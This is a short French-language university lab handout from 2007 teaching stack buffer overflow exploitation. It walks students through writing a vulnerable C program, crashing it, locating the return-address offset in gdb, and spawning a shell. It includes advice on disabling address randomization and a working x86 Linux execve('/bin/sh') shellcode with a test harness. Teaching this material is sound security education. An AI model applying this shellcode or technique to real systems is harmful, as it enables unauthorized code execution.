

# Smashing the stack for understanding and learning

Elie Bursztein

elie@bursztein.net

2007

## introduction

Petit TP pour comprendre un peu mieux la mémoire et les buffers overflows. Comme d'habitude à faire en trinôme, et souvenez vous du proverbe Jedi : *Use the source luke.*

## 1 Attention

Depuis les versions 2.6.13, Linux utilise la randomisation de la "base address". Il faut donc soit désactiver l'option soit exécuter le programme un certain nombre de fois pour réussir. Souvenez vous aussi que l'on peut utiliser l'instruction

*x90* pour faire un nop en assembleur et donc accroître la plage mémoire où l'eip peut retourner. N'hésitez pas à forcer car la taille du buffer overflow n'est pas limitée dans ce TP contrairement à la majorité des cas réels. Pensez lorsque vous compilez à désactiver les optimisations de compilation *-O0*. Rajouter aussi les symboles de debuggage *-gdb*.

## 2 Les questions

1. Ecrire un programme C qui prend en argument une chaîne de caractères et la recopie dans un buffer statique de 42 caractères.
2. Ecrire un programme perl qui fasse crasher le programme C
3. Debugger le `.core` pour trouver le nombre de caractères utiles pour écraser l'adresse de retour. Le manuel de GDB est votre ami (*man gdb* donc).
4. Ecrire un programme qui écrit l'adresse de retour 41424344
5. Tester le programme de shellcode.
6. Utiliser le shellcode pour que le programme retourne un shell.

### 3 Shellcode Linux

Pour vous évitez de chercher voici un shellcode et le programme de test qui va avec pour Linux.

```
int main()
{
    int *addr;
    char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";
    *((int *) & addr + 4) = (int) shellcode;
    return 0;
}
```